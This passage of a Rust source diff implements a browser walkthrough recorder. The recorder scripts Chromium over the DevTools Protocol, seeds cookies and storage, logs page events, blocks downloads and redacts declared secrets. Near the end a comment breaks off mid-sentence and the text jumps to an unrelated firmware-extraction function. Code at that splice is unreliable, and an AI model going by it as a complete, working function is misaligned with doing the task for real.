dl), + (None, None, Some(role), Some(name)) => role_node(client, role, name, dl), + _ => Err(ToolError::invalid(script_check::LOCATOR_SHAPE)), + } + } +} + +/// The first element in the accessibility tree with this role and exact accessible name. +fn role_node(client: &mut CdpClient, role: &str, name: &str, dl: &Deadline) -> Result { + let doc = client.call("DOM.getDocument", json!({"depth": 0}), None, dl)?; + let root = doc + .pointer("/root/nodeId") + .and_then(Value::as_u64) + .ok_or_else(|| ToolError::new(craft_anything_evidence::ErrorCode::ProgramFailed, "no document root"))?; + let _ = client.call("Accessibility.enable", json!({}), None, dl); + let found = client.call("Accessibility.queryAXTree", json!({"nodeId": root, "accessibleName": name, "role": role}), None, dl)?; + let missing = || ToolError::new(craft_anything_evidence::ErrorCode::NotFound, format!("no {role} named {name:?} on the page")); + let backend = found + .get("nodes") + .and_then(Value::as_array) + .and_then(|nodes| nodes.iter().filter(|n| n.get("ignored") != Some(&Value::Bool(true))).find_map(|n| n.get("backendDOMNodeId").and_then(Value::as_u64))) + .ok_or_else(missing)?; + let pushed = client.call("DOM.pushNodesByBackendIdsToFrontend", json!({"backendNodeIds": [backend]}), None, dl)?; + pushed.pointer("/nodeIds/0").and_then(Value::as_u64).filter(|n| *n != 0).ok_or_else(missing) +} + +/// One scripted step: an action and, optionally, your name for it (echoed in the result). +#[derive(Debug, Deserialize, JsonSchema)] +pub struct WalkthroughStep { + #[serde(default)] + pub step_id: Option, + #[serde(flatten)] + pub action: WalkthroughAction, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct WalkthroughParams { + #[serde(default)] + pub cdp_endpoint: Option, + /// Launch a located Chromium (default when no endpoint is given). + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default)] + pub target_id: Option, + /// The scripted actions, run in order (1..=200). + pub actions: Vec, + /// Capture a screenshot after each step. + #[serde(default)] + pub screenshot_each_step: bool, + /// Record network request outlines during the run. + #[serde(default = "yes")] + pub capture_network: bool, + /// Values to redact wherever they appear, in every encoding. + #[serde(default)] + pub hidden_values: Vec, + /// Per-action deadline in milliseconds. + #[serde(default = "d_action_ms")] + pub action_timeout_ms: u64, + #[serde(default = "d_walkthrough_timeout")] + pub timeout_secs: u64, + /// Fixed browser settings for the run, so two runs of the same steps see the same page. + #[serde(default)] + pub environment: WalkthroughEnvironment, + /// Network content to keep besides request outlines (all off by default; needs capture_network). + #[serde(default)] + pub keep_bodies: NetworkContent, + /// What to record after each step and at the end of the run (besides each step's URL). + #[serde(default)] + pub capture: WalkthroughCapture, + /// Cookies and storage to start with (e.g. to explore the signed-in side of your own site). + /// Every value given here is treated as a secret and redacted wherever it shows up. + #[serde(default)] + pub storage: StartingStorage, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Artifact { + Screenshot, + /// The page's HTML, secrets redacted (256 KiB per step, 1 MiB at the end). + Dom, + /// Roles and names, as a screen reader sees the page. + Accessibility, + /// The tab's navigation history. + History, + /// local/session storage key names and cookie names for the current origin (never values). + StorageKeys, +} + +#[derive(Debug, Default, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields, default)] +pub struct WalkthroughCapture { + pub after_each_step: Vec, + pub at_end: Vec, + /// Event families to record over the run, each event tagged with the step it happened in. + pub events: Vec, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum EventFamily { + /// Console messages (text redacted, capped). + Console, + /// Uncaught exceptions on the page. + PageErrors, + /// WebSocket connections and frames (text frames redacted, capped). + Websockets, + /// Frames attached, navigated and detached. + Frames, + /// Web, shared and service workers started and stopped. + Workers, + /// Windows the page opened. + Popups, + /// Downloads the page started (they are blocked, never saved). + Downloads, +} + +/// Most events a run keeps; the rest are counted as dropped. +const MAX_WALKTHROUGH_EVENTS: usize = 20_000; + +/// Text kept from one console message, exception or WebSocket frame. +const MAX_EVENT_TEXT: usize = 2048; + +fn capped(text: &str, secrets: &mut Secrets) -> String { + let t = secrets.text(text); + let mut end = t.len().min(MAX_EVENT_TEXT); + while !t.is_char_boundary(end) { + end -= 1; + } + t.get(..end).unwrap_or_default().to_string() +} + +/// One event as a row of a requested family, or None. `targets` remembers which created targets +/// were workers or popups, so their end can be named too. +fn event_row( + families: &std::collections::BTreeSet, + ev: &cdp::CdpEvent, + targets: &mut std::collections::BTreeMap, + secrets: &mut Secrets, +) -> Option { + let p = &ev.params; + let s = |v: Option<&Value>| v.and_then(Value::as_str).unwrap_or_default().to_string(); + let has = |f: EventFamily| families.contains(&f); + let row = match ev.method.as_str() { + "Runtime.consoleAPICalled" if has(EventFamily::Console) => { + let text: Vec<&str> = + p.get("args").and_then(Value::as_array).into_iter().flatten().filter_map(|a| a.get("value").and_then(Value::as_str)).collect(); + json!({"kind": "console", "level": s(p.get("type")), "text": capped(&text.join(" "), secrets)}) + } + "Log.entryAdded" if has(EventFamily::Console) => { + let e = p.get("entry"); + json!({"kind": "console", "level": s(e.and_then(|e| e.get("level"))), "text": capped(&s(e.and_then(|e| e.get("text"))), secrets)}) + } + "Runtime.exceptionThrown" if has(EventFamily::PageErrors) => { + let d = p.get("exceptionDetails"); + let msg = d.and_then(|d| d.pointer("/exception/description")).or_else(|| d.and_then(|d| d.get("text"))); + json!({"kind": "page-error", "message": capped(&s(msg), secrets)}) + } + "Network.webSocketCreated" if has(EventFamily::Websockets) => { + json!({"kind": "websocket-opened", "request_id": s(p.get("requestId")), "url": secrets.text(&web_common::sanitize_url(&s(p.get("url"))))}) + } + "Network.webSocketClosed" if has(EventFamily::Websockets) => json!({"kind": "websocket-closed", "request_id": s(p.get("requestId"))}), + "Network.webSocketFrameSent" | "Network.webSocketFrameReceived" if has(EventFamily::Websockets) => { + let f = p.get("response"); + let opcode = f.and_then(|f| f.get("opcode")).and_then(Value::as_u64); + let payload = s(f.and_then(|f| f.get("payloadData"))); + let mut row = json!({ + "kind": if ev.method.ends_with("Sent") { "websocket-frame-sent" } else { "websocket-frame-received" }, + "request_id": s(p.get("requestId")), + "opcode": opcode, + "payload_bytes": payload.len(), + }); + if opcode == Some(1) { + row["text"] = json!(capped(&payload, secrets)); + } + row + } + "Page.frameAttached" if has(EventFamily::Frames) => { + json!({"kind": "frame-attached", "frame_id": s(p.get("frameId")), "parent_frame_id": s(p.get("parentFrameId"))}) + } + "Page.frameNavigated" if has(EventFamily::Frames) => { + let f = p.get("frame"); + json!({"kind": "frame-navigated", "frame_id": s(f.and_then(|f| f.get("id"))), "url": secrets.text(&web_common::sanitize_url(&s(f.and_then(|f| f.get("url")))))}) + } + "Page.frameDetached" if has(EventFamily::Frames) => json!({"kind": "frame-detached", "frame_id": s(p.get("frameId"))}), + "Target.targetCreated" => { + let info = p.get("targetInfo"); + let kind = s(info.and_then(|i| i.get("type"))); + let opened = info.and_then(|i| i.get("openerId")).is_some(); + let family = match kind.as_str() { + "worker" | "shared_worker" | "service_worker" if has(EventFamily::Workers) => "worker", + "page" if opened && has(EventFamily::Popups) => "popup", + _ => return None, + }; + if targets.len() < 1000 { + targets.insert(s(info.and_then(|i| i.get("targetId"))), family); + } + json!({"kind": format!("{family}-opened"), "type": kind, "url": secrets.text(&web_common::sanitize_url(&s(info.and_then(|i| i.get("url")))))}) + } + "Target.targetDestroyed" => { + let family = targets.remove(&s(p.get("targetId")))?; + json!({"kind": format!("{family}-closed")}) + } + "Page.downloadWillBegin" if has(EventFamily::Downloads) => { + json!({"kind": "download-blocked", "url": secrets.text(&web_common::sanitize_url(&s(p.get("url")))), "suggested_filename": secrets.text(&s(p.get("suggestedFilename")))}) + } + _ => return None, + }; + Some(row) +} + +/// Record the requested artifacts now. Each is either its value or `{"state": "unavailable"}`. +fn capture_artifacts(client: &mut CdpClient, kinds: &[Artifact], dom_cap: usize, secrets: &mut Secrets, dl: &Deadline) -> Value { + let unavailable = || json!({"state": "unavailable"}); + let kinds: std::collections::BTreeSet = kinds.iter().copied().collect(); + let mut out = serde_json::Map::new(); + let history = client.call("Page.getNavigationHistory", json!({}), None, dl).ok(); + let current_url = history.as_ref().and_then(|h| { + let idx = h.get("currentIndex").and_then(Value::as_u64).unwrap_or(0) as usize; + h.get("entries").and_then(Value::as_array).and_then(|a| a.get(idx)).and_then(|e| e.get("url")).and_then(Value::as_str).map(String::from) + }); + for kind in kinds { + let v = match kind { + Artifact::Screenshot => client + .call("Page.captureScreenshot", json!({"format": "png"}), None, dl) + .ok() + .and_then(|shot| shot.get("data").and_then(Value::as_str).and_then(|d| web_common::b64_decode(d).ok())) + .and_then(|bytes| web_common::png_artifact(&bytes).ok()) + .unwrap_or_else(unavailable), + Artifact::Dom => client + .call("DOM.getDocument", json!({"depth": 0}), None, dl) + .ok() + .and_then(|d| d.pointer("/root/nodeId").and_then(Value::as_u64)) + .and_then(|root| client.call("DOM.getOuterHTML", json!({"nodeId": root}), None, dl).ok()) + .and_then(|h| h.get("outerHTML").and_then(Value::as_str).map(|html| web_common::kept_text(html.as_bytes(), secrets, dom_cap))) + .unwrap_or_else(unavailable), + Artifact::Accessibility => { + let mut tree = collect_accessibility(client, dl); + for n in tree.get_mut("nodes").and_then(Value::as_array_mut).into_iter().flatten() { + if let Some(name) = n.get("name").and_then(Value::as_str).map(|s| secrets.text(s)) { + n["name"] = json!(name); + } + } + tree + } + Artifact::History => match &history { + Some(h) => { + let entries: Vec = h + .get("entries") + .and_then(Value::as_array) + .into_iter() + .flatten() + .take(500) + .map(|e| json!({"url": secrets.text(&web_common::sanitize_url(e.get("url").and_then(Value::as_str).unwrap_or_default()))})) + .collect(); + json!({"current_index": h.get("currentIndex"), "entries": entries}) + } + None => unavailable(), + }, + Artifact::StorageKeys => match current_url.as_deref().and_then(web_common::origin_of) { + Some(origin) => { + let mut keys = collect_storage_keys(client, &std::iter::once(origin.clone()).collect::>(), dl); + let cookies: Vec = client + .call("Network.getCookies", json!({"urls": [current_url]}), None, dl) + .ok() + .and_then(|c| c.get("cookies").and_then(Value::as_array).cloned()) + .into_iter() + .flatten() + .filter_map(|c| c.get("name").and_then(Value::as_str).map(String::from)) + .take(500) + .collect(); + keys["origin"] = json!(origin); + keys["cookie_names"] = json!(cookies); + keys + } + None => unavailable(), + }, + }; + let name = match kind { + Artifact::Screenshot => "screenshot", + Artifact::Dom => "dom", + Artifact::Accessibility => "accessibility", + Artifact::History => "history", + Artifact::StorageKeys => "storage_keys", + }; + out.insert(name.into(), v); + } + Value::Object(out) +} + +#[derive(Debug, Default, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields, default)] +pub struct StartingStorage { + pub cookies: Vec, + pub local_storage: Vec, + pub session_storage: Vec, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StartingCookie { + /// The http(s) URL the cookie belongs to. + pub url: String, + pub name: String, + pub value: String, + #[serde(default)] + pub http_only: bool, + #[serde(default)] + pub secure: bool, + /// Strict, Lax or None. + #[serde(default)] + pub same_site: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OriginEntries { + /// The http(s) origin, e.g. https://app.example.com + pub origin: String, + /// Key → value. + pub entries: std::collections::BTreeMap, +} + +impl StartingStorage { + fn check(&self) -> Result<(), ToolError> { + let web = |u: &str| u.starts_with("http://") || u.starts_with("https://"); + if self.cookies.len() > 200 { + return Err(ToolError::invalid("storage.cookies: at most 200")); + } + for c in &self.cookies { + if !web(&c.url) || c.name.is_empty() { + return Err(ToolError::invalid("storage.cookies: each needs an http(s) url and a name")); + } + if c.same_site.as_deref().is_some_and(|s| !matches!(s, "Strict" | "Lax" | "None")) { + return Err(ToolError::invalid("storage.cookies: same_site is Strict, Lax or None")); + } + } + let areas = self.local_storage.iter().chain(&self.session_storage); + if areas.clone().map(|o| o.entries.len()).sum::() > 1000 { + return Err(ToolError::invalid("storage: at most 1000 local/session entries")); + } + if areas.clone().any(|o| !web(&o.origin)) { + return Err(ToolError::invalid("storage: each origin must be http(s)")); + } + Ok(()) + } + + /// Every value, so the run can redact them. + fn values(&self) -> impl Iterator { + self.cookies.iter().map(|c| &c.value).chain(self.local_storage.iter().chain(&self.session_storage).flat_map(|o| o.entries.values())) + } + + /// Set everything; reports how many of each were set (names only, never values). + fn apply(&self, client: &mut CdpClient, dl: &Deadline) -> Value { + let mut cookies_set = Vec::new(); + let mut failed = Vec::new(); + for c in &self.cookies { + let mut params = json!({"url": c.url, "name": c.name, "value": c.value, "httpOnly": c.http_only, "secure": c.secure}); + if let Some(ss) = &c.same_site { + params["sameSite"] = json!(ss); + } + match client.call("Network.setCookie", params, None, dl) { + Ok(r) if r.get("success") != Some(&Value::Bool(false)) => cookies_set.push(c.name.clone()), + _ => failed.push(format!("cookie {}", c.name)), + } + } + let _ = client.call("DOMStorage.enable", json!({}), None, dl); + let mut entries_set = 0usize; + for (local, areas) in [(true, &self.local_storage), (false, &self.session_storage)] { + for o in areas { + for (k, v) in &o.entries { + let id = json!({"securityOrigin": o.origin, "isLocalStorage": local}); + match client.call("DOMStorage.setDOMStorageItem", json!({"storageId": id, "key": k, "value": v}), None, dl) { + Ok(_) => entries_set += 1, + Err(_) => failed.push(format!("{} {} {k}", if local { "localStorage" } else { "sessionStorage" }, o.origin)), + } + } + } + } + json!({"cookies_set": cookies_set, "storage_entries_set": entries_set, "failed": failed}) + } +} + +/// Which network values a run keeps. Kept text has declared secrets redacted; credential headers +/// are always redacted. +#[derive(Debug, Default, Clone, Copy, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields, default)] +pub struct NetworkContent { + pub request_body: bool, + pub response_body: bool, + pub header_values: bool, +} + +impl NetworkContent { + fn any(self) -> bool { + self.request_body || self.response_body || self.header_values + } +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum ColorScheme { + #[default] + Light, + Dark, + NoPreference, +} + +/// Viewport, locale, time zone and media settings applied before the first step. +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields, default)] +pub struct WalkthroughEnvironment { + /// Viewport width in CSS pixels (1..=7680). + pub width: u32, + /// Viewport height in CSS pixels (1..=7680). + pub height: u32, + /// Device pixel ratio (0.5..=4). + pub device_scale_factor: f64, + /// BCP 47 locale, e.g. en-US. + pub locale: String, + /// IANA time zone, e.g. UTC or Europe/Berlin. + pub timezone: String, + pub color_scheme: ColorScheme, + /// Ask pages to reduce motion (prefers-reduced-motion: reduce). + pub reduced_motion: bool, + /// Requests skip service workers, so an offline cache can't hide the network. + pub bypass_service_workers: bool, +} + +impl Default for WalkthroughEnvironment { + fn default() -> Self { + WalkthroughEnvironment { + width: 1280, + height: 720, + device_scale_factor: 1.0, + locale: "en-US".into(), + timezone: "UTC".into(), + color_scheme: ColorScheme::Light, + reduced_motion: true, + bypass_service_workers: true, + } + } +} + +impl WalkthroughEnvironment { + fn check(&self) -> Result<(), ToolError> { + if !(1..=7680).contains(&self.width) || !(1..=7680).contains(&self.height) { + return Err(ToolError::invalid("environment width and height must be 1..=7680")); + } + if !(0.5..=4.0).contains(&self.device_scale_factor) { + return Err(ToolError::invalid("environment device_scale_factor must be 0.5..=4")); + } + let locale_ok = + !self.locale.is_empty() && self.locale.len() <= 35 && self.locale.split('-').all(|p| !p.is_empty() && p.chars().all(|c| c.is_ascii_alphanumeric())); + if !locale_ok { + return Err(ToolError::invalid(format!("environment locale {:?} isn't a BCP 47 tag like en-US", self.locale))); + } + let tz_ok = !self.timezone.is_empty() + && self.timezone.len() <= 64 + && !self.timezone.contains("..") + && self.timezone.chars().all(|c| c.is_ascii_alphanumeric() || "_+-/".contains(c)); + if !tz_ok { + return Err(ToolError::invalid(format!("environment timezone {:?} isn't an IANA name like Europe/Berlin", self.timezone))); + } + Ok(()) + } + + /// Apply every setting; each one reports `applied` or `unavailable` (the browser refused it). + fn apply(&self, client: &mut CdpClient, dl: &Deadline) -> Value { + let scheme = match self.color_scheme { + ColorScheme::Light => "light", + ColorScheme::Dark => "dark", + ColorScheme::NoPreference => "no-preference", + }; + let motion = if self.reduced_motion { "reduce" } else { "no-preference" }; + let calls = [ + ( + "viewport", + "Emulation.setDeviceMetricsOverride", + json!({"width": self.width, "height": self.height, "deviceScaleFactor": self.device_scale_factor, "mobile": false}), + ), + ("locale", "Emulation.setLocaleOverride", json!({"locale": self.locale})), + ("timezone", "Emulation.setTimezoneOverride", json!({"timezoneId": self.timezone})), + ( + "media", + "Emulation.setEmulatedMedia", + json!({"features": [{"name": "prefers-color-scheme", "value": scheme}, {"name": "prefers-reduced-motion", "value": motion}]}), + ), + ("service_workers", "Network.setBypassServiceWorker", json!({"bypass": self.bypass_service_workers})), + ]; + let settings: serde_json::Map = + calls.into_iter().map(|(k, m, p)| (k.to_string(), json!(if client.call(m, p, None, dl).is_ok() { "applied" } else { "unavailable" }))).collect(); + json!({"requested": self, "settings": settings}) + } +} + +fn d_action_ms() -> u64 { + 15_000 +} +fn d_walkthrough_timeout() -> u64 { + 180 +} + +fn web_walkthrough_record(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: WalkthroughParams = parse_params(params)?; + p.check_settings()?; + let dl = deadline(ctx, p.timeout_secs)?; + // Default to launching when no endpoint is given. + let launch = p.launch || p.cdp_endpoint.is_none(); + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let start_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let declared: Vec = p.hidden_values.iter().chain(p.storage.values()).cloned().collect(); + let mut secrets = Secrets::new(&declared); + let _ = client.call("Page.enable", json!({}), None, &dl); + let _ = client.call("DOM.enable", json!({}), None, &dl); + let _ = client.call("Runtime.enable", json!({}), None, &dl); + if p.capture_network { + let _ = client.call("Network.enable", json!({}), None, &dl); + } + let families: std::collections::BTreeSet = p.capture.events.iter().copied().collect(); + let mut families_unavailable: Vec<&str> = Vec::new(); + let mut enable = |client: &mut CdpClient, method: &str, params: Value, what: &'static str| { + if client.call(method, params, None, &dl).is_err() { + families_unavailable.push(what); + } + }; + if families.contains(&EventFamily::Console) { + enable(&mut client, "Log.enable", json!({}), "console (browser log)"); + } + if families.contains(&EventFamily::Websockets) && !p.capture_network { + enable(&mut client, "Network.enable", json!({}), "websockets"); + } + if families.contains(&EventFamily::Workers) || families.contains(&EventFamily::Popups) { + enable(&mut client, "Target.setDiscoverTargets", json!({"discover": true}), "workers and popups"); + } + if families.contains(&EventFamily::Downloads) { + enable(&mut client, "Page.setDownloadBehavior", json!({"behavior": "deny"}), "downloads (they may not be blocked)"); + } + let environment = p.environment.apply(&mut client, &dl); + let storage = p.storage.apply(&mut client, &dl); + + // Every event of the run, with the step it arrived in (None before the first step). + let mut events: Vec<(Option, cdp::CdpEvent)> = Vec::new(); + let mut events_dropped = 0u64; + let mut keep = |client: &mut CdpClient, step: Option, events: &mut Vec<(Option, cdp::CdpEvent)>| { + for ev in client.take_events() { + if events.len() < MAX_WALKTHROUGH_EVENTS { + events.push((step, ev)); + } else { + events_dropped += 1; + } + } + }; + keep(&mut client, None, &mut events); + + let mut steps: Vec = Vec::new(); + let mut aborted: Option = None; + for (i, WalkthroughStep { step_id, action }) in p.actions.iter().enumerate() { + if dl.expired() { + aborted = Some("the overall deadline passed".into()); + break; + } + ctx.report(Some(i as f32 / p.actions.len() as f32), format!("walkthrough step {}", i + 1)); + let step_dl = Deadline::new(Duration::from_millis(p.action_timeout_ms.clamp(1, 120_000)), ctx.cancel.clone()); + let outcome = run_action(&mut client, action, &mut secrets, &step_dl); + let mut step = json!({"index": i, "step_id": step_id.as_deref().map(|id| secrets.text(id)), "action": action_name(action), "status": if outcome.is_ok() { "ok" } else { "error" }}); + if let Err(e) = &outcome { + step["error"] = json!(e.message); + } + // Current URL after the step. + if let Ok(hist) = client.call("Page.getNavigationHistory", json!({}), None, &step_dl) { + let idx = hist.get("currentIndex").and_then(Value::as_u64).unwrap_or(0) as usize; + if let Some(entry) = hist.get("entries").and_then(Value::as_array).and_then(|a| a.get(idx)) { + step["url"] = json!(secrets.text(&web_common::sanitize_url(entry.get("url").and_then(Value::as_str).unwrap_or_default()))); + } + } + if p.screenshot_each_step + && let Ok(shot) = client.call("Page.captureScreenshot", json!({"format": "png"}), None, &step_dl) + && let Some(data) = shot.get("data").and_then(Value::as_str) + && let Ok(bytes) = web_common::b64_decode(data) + && let Ok(art) = web_common::png_artifact(&bytes) + { + step["screenshot"] = art; + } + if !p.capture.after_each_step.is_empty() { + step["artifacts"] = capture_artifacts(&mut client, &p.capture.after_each_step, 256 * 1024, &mut secrets, &step_dl); + } + steps.push(step); + keep(&mut client, Some(i), &mut events); + if outcome.is_err() { + aborted = Some(format!("step {} failed", i + 1)); + break; + } + } + + let final_artifacts = + if p.capture.at_end.is_empty() { Value::Null } else { capture_artifacts(&mut client, &p.capture.at_end, 1024 * 1024, &mut secrets, &dl) }; + keep(&mut client, steps.len().checked_sub(1), &mut events); + // Network capture over the whole run. + let network = if p.capture_network { + let all: Vec = events.iter().map(|(_, e)| e.clone()).collect(); + let mut dropped = 0u64; + collect_network(&mut client, &all, false, p.keep_bodies, &mut secrets, &dl, &mut dropped) + } else { + Value::Null + }; + let event_rows = if families.is_empty() { + Value::Null + } else { + let mut targets = std::collections::BTreeMap::new(); + let items: Vec = events + .iter() + .filter_map(|(step, ev)| { + event_row(&families, ev, &mut targets, &mut secrets).map(|mut row| { + row["step_index"] = json!(step); + row + }) + }) + .enumerate() + .map(|(n, mut row)| { + row["sequence"] = json!(n + 1); + row + }) + .collect(); + json!({"families": families, "items": items, "dropped": events_dropped, "unavailable": families_unavailable}) + }; + cleanup(&mut client, &dl); + + let ok_steps = steps.iter().filter(|s| s["status"] == "ok").count(); + let summary = + format!("Ran {} of {} scripted step(s) on {start_url}{}.", ok_steps, p.actions.len(), aborted.as_ref().map(|a| format!(" ({a})")).unwrap_or_default()); + let result = json!({ + "browser": {"product": browser.product, "started_by": if browser.launched { "craft-anything" } else { "external" }, "cleanup": if browser.launched { "closed" } else { "disconnected" }}, + "start_url": start_url, + "action_count": p.actions.len(), + "keep_bodies": p.keep_bodies, + "environment": environment, + "starting_storage": storage, + "final_artifacts": final_artifacts, + "events": event_rows, + "steps": steps, + "network": network, + "aborted": aborted, + "secrets_hidden": p.hidden_values.len(), + "secret_redactions": secrets.redactions, + }); + let mut b = EvidenceBuilder::new("web_walkthrough_record", Subject { kind: "website".into(), sha256: None, name: Some(start_url.clone()) }, browser_env(ctx.session.clean_room(), &browser)) + .params(json!({"endpoint": browser.endpoint.origin, "launched": browser.launched, "action_count": p.actions.len(), "sensitive_value_declarations": p.hidden_values.len()})) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitation(Limitation::new("controlled_run", "This is one controlled run of scripted steps; different steps or timing would show different behaviour.")) + .limitation(if p.keep_bodies.any() { + Limitation::new("values_kept", "The requested network content is kept (capped per body); credential headers are redacted and declared secrets are redacted in every encoding.") + } else { + Limitation::new("values_not_kept", "Request/response bodies are reduced to outlines, cookies and auth headers are dropped, and declared secrets are redacted in every encoding.") + }) + .coverage(Coverage::complete(p.actions.len() as u64)) + .location(Location::new("url", start_url)); + if p.hidden_values.iter().any(|s| !s.is_empty()) { + b = b.limitation(Limitation::new("secrets_redacted", format!("{} occurrence(s) of declared values were redacted", secrets.redactions))); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +fn action_name(a: &WalkthroughAction) -> &'static str { + match a { + WalkthroughAction::Goto { .. } => "goto", + WalkthroughAction::Click { .. } => "click", + WalkthroughAction::Fill { .. } => "fill", + WalkthroughAction::Press { .. } => "press", + WalkthroughAction::Select { .. } => "select", + WalkthroughAction::Wait { .. } => "wait", + } +} + +fn run_action(client: &mut CdpClient, action: &WalkthroughAction, secrets: &mut Secrets, dl: &Deadline) -> Result<(), ToolError> { + action.check()?; + match action { + WalkthroughAction::Goto { url, wait_ms } => { + let _ = secrets.text(url); + let r = client.call("Page.navigate", json!({"url": url}), None, dl)?; + if let Some(err) = r.get("errorText").and_then(Value::as_str).filter(|s| !s.is_empty()) { + return Err(ToolError::new(craft_anything_evidence::ErrorCode::ProgramFailed, format!("navigation failed: {err}"))); + } + let settle = Deadline::new(Duration::from_millis(wait_ms.unwrap_or(1000).min(script_check::MAX_GOTO_WAIT_MS)), crate::tool::CancelToken::default()); + let _ = client.pump_until(&settle); + Ok(()) + } + WalkthroughAction::Wait { ms } => { + let settle = Deadline::new(Duration::from_millis((*ms).min(script_check::MAX_WAIT_MS)), crate::tool::CancelToken::default()); + let _ = client.pump_until(&settle); + Ok(()) + } + WalkthroughAction::Click { at } => { + let node = at.node(client, dl)?; + let (x, y) = node_center(client, node, dl)?; + click_at(client, x, y, dl) + } + WalkthroughAction::Fill { at, value } => { + let node = at.node(client, dl)?; + client.call("DOM.focus", json!({"nodeId": node}), None, dl)?; + // Clear then insert the text. + let _ = client.call("Input.dispatchKeyEvent", json!({"type": "keyDown", "modifiers": 0, "key": "a", "commands": ["selectAll"]}), None, dl); + client.call("Input.insertText", json!({"text": value}), None, dl).map(|_| ()) + } + WalkthroughAction::Press { at, key } => { + let node = at.node(client, dl)?; + client.call("DOM.focus", json!({"nodeId": node}), None, dl)?; + client.call("Input.dispatchKeyEvent", json!({"type": "keyDown", "key": key}), None, dl)?; + client.call("Input.dispatchKeyEvent", json!({"type": "keyUp", "key": key}), None, dl).map(|_| ()) + } + WalkthroughAction::Select { at, value } => { + // Set the `. + parent: String, + /// Offset added to region offsets (the range start for the input, 0 below). + base: u64, +} + +struct Writer<'a> { + root: &'a Path, + files: usize, + bytes: u64, + max_files: usize, + max_bytes: u64, + outputs: Vec, + skipped: Vec, + truncated: bool, + max_level: u32, +} + +impl Writer<'_> { + fn remaining(&self) -> u64 { + self.max_bytes.saturating_sub(self.bytes) + } + + fn skip(&mut self, what: &str, reason: impl Into) { + if self.skipped.len() < 2000 { + self.skipped.push(json!({"path": what, "reason": reason.into()})); + } + } + + /// Write one output; false when it was skipped (limits, name clash, unsafe path). + fn write(&mut self, rel: &[String], data: &[u8], meta: Value, level: u32) -> bool { + let shown = rel.join("/"); + if self.files >= self.max_files || data.len() as u64 > self.remaining() { + self.truncated = true; + self.skip(&shown, "output file or byte limit reached"); + return false; + } + match write_new_file(self.root, rel, data) { + Ok(_) => { + self.files += 1; + self.bytes += data.len() as u64; + self.max_level = self.max_level.max(level); + let mut m = meta; + if let Value::Object(o) = &mut m { + o.insert("path".into(), json!(shown)); + o.insert("size".into(), json!(data.len())); + o.insert("sha256".into(), json!(sha256_hex(data))); + o.insert("level".into(), json!(level)); + } + self.outputs.push(m); + true + } + Err(e) => { + self.skip(&shown, e); + false + } + } + } +} + +/// Unpacked output: (relative path, bytes, action, folder for what is carved out of it). +type Produced = (Vec, Vec, &'static str, Vec); + +fn child(dir: &[String], name: String) -> Vec { + let mut v = dir.to_vec(); + v.push(name); + v +} + +/// A member or embedded name as one safe path component (its last component), or a fallback. +fn safe_leaf(name: &str, fallback: &str) -> String { + safe_components(name).ok().and_then(|c| c.last().cloned()).filter(|s| s.len() <= 200).unwrap_or_else(|| fallback.to_string()) +} + +fn firmware_image_extract(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExtractParams = parse_params(params)?; + if !(1..=10).contains(&p.max_depth) { + return Err(ToolError::invalid("max_depth must be 1..=10")); + } + if p.max_output_bytes == 0 || p.max_output_bytes > 512 << 20 { + return Err(ToolError::invalid("max_output_bytes must be 1..=536870912 (512 MiB)")); + } + if !(1..=100_000).contains(&p.max_output_files) { + return Err(ToolError::invalid("max_output_files must be 1..=100000")); + } + let input = load(ctx, p.path.as_deref(), fw::MAX_INPUT)?; + let (data, base) = apply_range(&input.bytes, p.range)?; + let out = create_absent_dir(&p.output_directory)?; + ctx.report(None, format!("Extracting {} into {}", input.name, out.display())); + let mut w = Writer { + root: &out, + files: 0, + bytes: 0, + max_files: p.max_output_files, + max_bytes: p.max_output_bytes, + outputs: Vec::new(), + skipped: Vec::new(), + truncated: false, + max_level: 0, + }; + let mut not_unpacked: BTreeMap<&'static str, usize> = BTreeMap::new(); + let mut deeper_than_limit = 0usize; + let mut jobs = vec![Job { data: data.to_vec(), dir: Vec::new(), level: 0, parent: "".into(), base }]; + let mut scanned = 0usize; + let mut scan_truncated = false; + while let Some(job) = jobs.pop() { + ctx.cancel.check()?; + scanned += 1; + let cancel = ctx.cancel.clone(); + let scan = fw::scan(&job.data, &ScanOptions::default(), &|| cancel.is_cancelled()); + if scan.cancelled { + return Err(ToolError::cancelled()); + } + scan_truncated |= scan.truncated; + let regions = scan.regions; + for (k, r) in regions.iter().enumerate() { + ctx.cancel.check()?; + let start = usize::try_from(r.offset).unwrap_or(usize::MAX); + let next_start = regions.get(k + 1).and_then(|n| usize::try_from(n.offset).ok()).unwrap_or(job.data.len()); + let end = r.end().and_then(|e| usize::try_from(e).ok()).unwrap_or(next_start).min(job.data.len()); + let Some(slice) = job.data.get(start..end) else { continue }; + let label = format!("{:x}-{}", r.offset.saturating_add(job.base), r.kind); + let meta = |action: &str| json!({"kind": r.kind, "action": action, "offset": r.offset.saturating_add(job.base), "parent": job.parent, "length_known": r.length.is_some()}); 